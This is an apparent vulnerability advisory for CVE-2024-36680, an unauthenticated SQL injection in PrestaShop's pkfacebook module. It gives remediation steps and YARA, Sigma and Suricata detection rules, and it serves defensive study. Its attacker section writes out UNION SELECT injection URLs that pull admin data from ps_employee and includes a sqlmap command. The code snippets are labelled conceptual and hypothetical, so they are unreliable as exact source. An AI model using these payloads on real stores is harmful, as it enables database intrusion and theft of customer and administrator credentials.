CVE-2024-36680

Executive Summary

CVE-2024-36680 is a critical unauthenticated SQL injection vulnerability in the "Facebook" (pkfacebook) module for PrestaShop, developed by Promokit.eu. The vulnerability resides in the facebookConnect.php AJAX script, which fails to sanitize user-supplied input before constructing a SQL query. An attacker can exploit this by sending a crafted HTTP request, leading to arbitrary SQL execution. This can result in full database compromise, including extraction of customer data, admin credentials, and potential server takeover. The vulnerability affects all versions up to and including 1.0.1, and no official patch has been released.

Supply Chain & Package Security

This vulnerability is part of the PrestaShop ecosystem, specifically a third-party module. PrestaShop modules are distributed via the PrestaShop Addons marketplace and directly from vendors. Since no patch is available, users must consider removing or replacing the module. The lack of a patch increases supply chain risk, as the module may be bundled in PrestaShop installations or custom builds.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Potential for denial of service via SQL manipulation.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and requires no authentication, making it a prime target for automated scanning and mass exploitation.

Deep Dive & Mechanics

The vulnerability exists in the facebookConnect.php script of the pkfacebook module. This script is designed to handle Facebook login integration, but it contains a SQL call that directly concatenates user input without sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

// facebookConnect.php (vulnerable)
$id_customer = $_GET['id_customer'];
$sql = "SELECT * FROM "._DB_PREFIX_."customer WHERE id_customer = '$id_customer'";
Db::getInstance()->executeS($sql);

The id_customer parameter is taken directly from the HTTP GET request and inserted into the SQL query. An attacker can inject SQL commands by providing a malicious value, such as:

1 UNION SELECT * FROM ps_employee

This allows the attacker to bypass authentication, extract data from other tables, or even execute system commands if the database user has sufficient privileges.

Attack Flow:

1. Attacker identifies a PrestaShop instance with the pkfacebook module installed.
2. Attacker sends a crafted HTTP GET request to facebookConnect.php with a malicious id_customer parameter.
3. The SQL injection payload is executed, returning sensitive data or allowing further exploitation.
4. Attacker can extract customer emails, passwords (if stored insecurely), admin credentials, or perform privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Code (pkfacebook <= 1.0.1):

// facebookConnect.php
$id_customer = $_GET['id_customer'];
$sql = "SELECT * FROM "._DB_PREFIX_."customer WHERE id_customer = '$id_customer'";
$result = Db::getInstance()->executeS($sql);

Patched Code (Hypothetical):

// facebookConnect.php (patched)
$id_customer = (int)$_GET['id_customer']; // Cast to integer
$sql = "SELECT * FROM "._DB_PREFIX_."customer WHERE id_customer = ".(int)$id_customer;
$result = Db::getInstance()->executeS($sql);

The patched version uses type casting to ensure the input is an integer, preventing SQL injection. Alternatively, prepared statements should be used:

$sql = "SELECT * FROM "._DB_PREFIX_."customer WHERE id_customer = ?";
$result = Db::getInstance()->executeS($sql, array($id_customer));

Since no official patch exists, users must manually apply these fixes or remove the module.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A PrestaShop instance with pkfacebook module installed (version <= 1.0.1).
• Network access to the PrestaShop server.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target.com/modules/pkfacebook/facebookConnect.php
   

2. Craft a SQL injection payload:

   http://target.com/modules/pkfacebook/facebookConnect.php?id_customer=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

3. Extract admin credentials:

   http://target.com/modules/pkfacebook/facebookConnect.php?id_customer=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM ps_employee--
   

4. Automated exploitation with SQLMap:

   sqlmap -u "http://target.com/modules/pkfacebook/facebookConnect.php?id_customer=1" --batch --dbs
   

Blue Team (Defender)

Detection and Response:

1. Monitor HTTP requests to facebookConnect.php:

   • Look for abnormal id_customer parameters containing SQL keywords (UNION, SELECT, OR, etc.).
   • Alert on requests with multiple parameters or encoded payloads.

2. Check database logs for suspicious queries:

   • Search for queries containing UNION, OR 1=1, or other SQL injection patterns.

3. Implement Web Application Firewall (WAF) rules:

   • Block requests to facebookConnect.php with non-numeric id_customer values.
   • Rate-limit requests to the module directory.

4. Immediate remediation:

   • Disable or remove the pkfacebook module until a patch is applied.
   • Apply virtual patching via WAF to block SQL injection attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /modules/pkfacebook/facebookConnect.php with suspicious id_customer parameters.
• Requests containing SQL keywords in the query string (e.g., UNION, SELECT, OR).
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Presence of the file modules/pkfacebook/facebookConnect.php on the server.
• Modified or new files in the PrestaShop installation directory.

Log IOCs:

• Database logs showing queries with injected SQL syntax.
• Web server logs showing repeated requests to facebookConnect.php with varying id_customer values.

Detection Engineering

YARA Rule

rule CVE_2024_36680_pkfacebook_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-36680 in PrestaShop pkfacebook module"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-36680"
    strings:
        $suspicious_param = /id_customer=[^&]*(\bUNION\b|\bSELECT\b|\bOR\b|\bAND\b|\bDROP\b|\bINSERT\b|\bUPDATE\b|\bDELETE\b)/ nocase
        $vulnerable_path = /modules\/pkfacebook\/facebookConnect\.php/ nocase
    condition:
        $vulnerable_path and $suspicious_param
}

Sigma Rule

title: CVE-2024-36680 SQL Injection Attempt on PrestaShop pkfacebook Module
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the pkfacebook module in PrestaShop
author: Valters IT
date: 2024-01-01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36680
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "id_customer="
        cs-uri-query|re: 
            - "(?i)(UNION|SELECT|OR|AND|DROP|INSERT|UPDATE|DELETE)"
    condition: selection
falsepositives:
    - Legitimate use of the module with normal parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36680 SQL Injection Attempt on PrestaShop pkfacebook Module"; flow:to_server,established; content:"/modules/pkfacebook/facebookConnect.php"; http_uri; pcre:"/id_customer=[^&]*(UNION|SELECT|OR|AND|DROP|INSERT|UPDATE|DELETE)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the pkfacebook module in the PrestaShop back office (Modules -> Module Manager -> Search "pkfacebook" -> Disable).
2. Remove the module files from the server to prevent re-enabling:

   rm -rf /path/to/prestashop/modules/pkfacebook/
   

3. Apply virtual patching using a WAF to block SQL injection attempts targeting facebookConnect.php.

Long-Term Fix:

• Since no official patch is available, consider replacing the module with an alternative Facebook integration module that is actively maintained and secure.
• If you must keep the module, manually patch the code by adding input validation and using prepared statements as shown in the "Vulnerable vs. Patched Code" section.

General Security Practices:

• Regularly update all PrestaShop modules and core.
• Implement a Web Application Firewall (WAF) with SQL injection detection.
• Conduct regular security audits and penetration testing.
• Use parameterized queries or prepared statements in all database interactions.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert